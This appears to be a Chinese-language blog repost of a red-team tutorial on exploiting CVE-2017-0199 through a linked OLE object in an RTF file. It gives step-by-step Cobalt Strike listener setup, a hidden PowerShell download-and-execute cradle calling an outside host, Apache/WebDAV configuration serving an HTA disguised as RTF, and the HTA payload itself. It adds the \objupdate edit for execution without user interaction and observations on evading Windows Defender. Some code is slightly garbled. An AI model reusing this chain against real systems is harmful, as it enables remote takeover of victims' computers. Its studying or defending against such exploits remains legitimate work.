CVE-2017-0199利用OLE对象嵌入Word / RTF文档的方式,使得可以在没有用户交互的情况下执行其内容。OLE由许多不同的程序支持,OLE通常用于使在另一个程序中可用的程序中创建的内容。例如,可以在第二个RTF文件中插入和呈现RTF文档。然而,如果链接的RTF文件被替换为HTML应用程序(HTA)有效载荷,则mshta代理将执行它,从而导致远程命令执行,不需要用户交互。

在本文中,我们将解释创建一个有效的概念RTF文件的基础过程,该文件将执行Cobalt Strike Beacon有效载荷,而不需要用户交互,也不需要终端弹出窗口,因为这可以证明在Red Team中非常有用。

请在下面简要介绍相关步骤:

  1. 1.Cobalt Strike 服务器将与侦听信标一起设置,以便在受害计算机(在此实例Windows .1中实时启动Windows Defender)时,从信标有效载荷接收连接。
    
    2.将创建一个名为exploit.rtf文件的RTF ,指向一个名为CVE--0199_POC的第二个RTF文件的OLE对象(该文件将只有一些POC文本)。
    
    3.一旦exploit.rtf与CVE--0199_POC RTF文档链接,该文件将被连接到使用的payload
    
    4.该exploit.rtf
    
    5.无需用户交互自动执行HTA进行修改。

设置和生成payload

为了能够从执行的payload接收连接,需要以下步骤:

使用以下命令启动Cobalt Strike Team Server:

./teamserver x.x.x.x password

使用该命令,运行默认5050端口上的Cobal Strike Team Server。为了能够连接到服务器(使用与上一个命令设置的密码),您将需要启动客户端:

java -jar cobaltstrike.jar

客户端GUI启动后,让我们创建一个监听,从” Cobalt Strike菜单点击“ Listeners:

Cobalt Strike -> Listeners

然后填写所需的信息,如名称,有效载荷,主机和端口,然后单击添加。从我们的场景中的以下图像可以看出,使用了一个在端口4444上侦听本地IP地址的

windows/beacon_http/reverse_http 有效载荷:

单击保存以存储设置。继续输入您将使用的IP地址或任何解析的域名:

在此阶段,可以添加任何解析为之前设置的IP地址的域。

一旦你点击确定 ‘开始的监听器’将看起来像下面的截图:

一旦监听器启动,我们将需要生成在受害机器上执行的有效载荷。从Attacks -> Web Drive-by菜单中单击“Scripted Web Delivery”,如下图所示:

一旦弹出“ Scripted Web Delivery ”窗口,就会填写所需的参数。您可以修改它们以满足您的需求:

为了使脚本有效点击Launch:

这将在我们的主机上放一个名为“evil”的Powershell脚本,该脚本将在运行上一图像所示命令的受害计算机上执行:

powershell.exe -nop -w hidden -c“IEX((new-object net.webclient).downloadstring('http://172.16.17.39:80/evil'))”

总结:

  • 端口4444上的监听器已创建

  • 创建了一个反向连接指向我们的侦听器的信标有效载荷

利用环境设置

在本节中,我们将介绍第2步和第3步(请参考简介),以便将漏洞利用的环境设置为有效并且不需要用户交互。

RTF OLE链接

我们需要执行的第一步是创建CVE-2017-0199_POC RTF文档,该文档将是一个具有任意内容的简单RTF文件。在我们的情景中,它将包括一个POC文本,如下图所示:

创建一个带有POC文本的简单RTF

创建文件后,为方便起见,将其复制到本地安装的Kali,因为我们需要为OLE链接过程准备好文件,这将在后续步骤中解释。为了文件CVE-2017-0199_POC被链接,我们将需要使用Apache服务,而这需要一些调整才能有效。

# mkdir /var/www/html/word/# cp CVE--0199_POC.rtf /var/www/html/word/

这将将以前创建的文档复制到Apache的目录中,以便将文档提供给HTTP OLE链接。OLE链接过程将涉及到由服务器发送的PROPFIND请求,从而有必要使WebDav启用:

# a2enmod dav# a2enmod dav_fs# a2enmod dav_lock# a2enmod headers

如果一切顺利,您可以继续编辑apache2.conf,以指示Apache有效地为RFT文件提供服务。

为此,请使用文本编辑器编辑/etc/apache2/apache2.conf文件,并在文件末尾添加以下行:

<Directory /var/www/html/word/>Header set Content-Type “application/rtf”</Directory><Directory>Dav on</Directory>

要使更改生效,请重新启动Apache Web服务器:

#service apache2 restart

一旦Apache重新启动,我们可以通过几个简单的步骤继续进行链接过程:

  • 用Word创建一个名为exploit.rtf的RTF文件

  • 从“插入”菜单中单击“对象”,并将HTTP链接放入CVE-2017-0199_POC文档中,并勾选“链接到文件”选项,如下图所示

单击确定并保存文件。然后,文件将在“exploit”会话中进行修改,以便在没有任何用户交互的情况下触发有效载荷执行。

HTA payload创建

我们现在需要生成一个HTA有效载荷,或者简单地放置一个由负责执行这些类型文件的Microsoft mshta代理执行的代码。

我们将修改HTA以下部分,以执行我们的有效载荷:

<html><head><script>var c= 'command' new ActiveXObject('WScript.Shell').Run(c);</script></head><body><script>self.close();</script></body></html>

要做到这一点,第一步是用我们要在受害机器上执行的Powershell命令替换’command’。

如前所述,命令如下:

powershell.exe -nop -w hidden -c“IEX((new-object net.webclient).downloadstring('http://172.16.17.39:80/evil'))

所以修改后的内容现在将显示为:

<html><head><script>var c= 'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://172.16.17.39:80/evil\'))"'; new ActiveXObject('WScript.Shell').Run(c);</script></head><body><script>self.close();</script></body></html>

看起来似乎都很好,但是如果我们尝试执行这个HTA,它会弹出一个powershell/命令提示符窗口,但是我们希望尽可能的隐身。通过进一步研究,我们发现将Run(c)字符串修改为Run(c,0)将导致我们的命令在没有任何命令提示符/ powershell弹出窗口的情况下被执行。所以最终的HTA有效载荷将如下:

<html><head><script>var c= 'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://172.16.17.39:80/evil\'))"'; new ActiveXObject('WScript.Shell').Run(c,);</script></head><body><script>self.close();</script></body></html>

现在需要用这个新创建的HTA有效载荷替换“ /var/www/html/word/CVE-2017-0199_POC.rtf ”文档。

可以使用以下命令:

将HTA有效载荷保存为/var/www/html/word/payload.hta

# cp /var/www/html/word/payload.hta /var/www/html/word/ CVE--0199_POC.rtf

为了使此更改生效并触发有效载荷执行,我们将需要指示Apache将此文件作为RTF解析,而不是作为HTA。要做到这一点,只需将Content type从“ application/rtf”更改为“ application/hta ”,即可将其更改为以前编辑的/etc/apache2/apache2.conf,然后重新启动apache web服务器。

总结:

  • exploit.rtf和CVE-2017-0199_POC.rtf 之间的OLE链接已创建

  • 将创建一个将执行Beacon有效负载的HTA,并将其替换为原始的CVE-2017-0199_POC.rtf

  • Apache Web服务器被修改为将/var/html/www/word目录中的任何RTF文件为HTA提供服务,以便执行HTA有效载荷

开发

为了使有效载荷即使没有用户交互也可以执行成功,,我们将需要修改以前创建的exploit.rtf文件。我们将添加的参数是“objupdate”,顾名思义,当打开恶意exploit.rtf时,将触发自动更新/执行链接文件。为了应用此更改将需要以下命令:

sed -ie ‘s/objautlink/objautlink\\objupdate/g’ exploit.rtf

exploit.rtf现在可以发送,它将触发一个Beacon有效载荷,无需任何用户交互即可执行终端,您可以从以下截图和POC视频中看到

exploit.rtf被打开,并且不需要用户交互来触发有效负载来执行

我们的监听程序已经成功收到了一个反向HTTP连接:

杀软警告

在我们的实验室环境中,我们在Windows 8.1实例上执行有效负载,启用Windows Defender实时保护。使用Windows Defender,该文件未被标记为恶意软件。但是,我们还在安装了卡巴斯基的Small Office Security的Windows 7 SP1实例上尝试了该文件。在这种环境下,卡巴斯基将我们的文件标记为恶意文件,并阻止有效载荷执行

最新文章

  1. 深入.NET和C#的小型汽车租赁系统的框架
  2. JS巧计__轮播
  3. Spring之实现任务调度
  4. IE11之F12 Developer Tools--DOM Explorer
  5. 20145218 《Java程序设计》第7周学习总结
  6. 新 四则运算题目 C++
  7. (转)LR监控Linux系统性能计数器详解
  8. HttpClient(4.3.5) - HTTP Request &amp; HTTP Response
  9. Extjs-4.2.1(二)——使用Ext.define自定义类
  10. 【思考】由安装zabbix至排障php一系列引发的思考
  11. HeaderViewListAdapter cannot be cast to listAdapter问题原因及解决办法
  12. 第10章 使用MySQL数据库
  13. Jedis对Redis的常用命令操作
  14. Jmeter性能测试 如何利用SQLserver造出大批的数据
  15. Azure CosmosDB (12) 创建Cosmos DB并执行查询语句
  16. java实现两个不同list对象合并后并排序
  17. zabbix server is not running,the information dispalyed may not be current
  18. re模块与subprocess模块介绍
  19. C#winfrom最简DBHelp(数据库连接操作)
  20. Java List 生成 树

热门文章

  1. Windows隐藏账户
  2. Jmeter资源监控工具ServerAgent运行原理的一些研究
  3. 排序(C语言实现)
  4. hdu - 6276,2018CCPC湖南全国邀请赛A题,水题,二分
  5. 构建树形结构数据(全部构建,查找构建)C#版
  6. java读取excel或者csv时日期格式数据处理
  7. python正则表达式中含有变量的写法
  8. Scrum立会报告+燃尽图(06)选题
  9. Java中的抽象类abstract
  10. ASP.NET MVC5 学习系列之表单和HTML辅助方法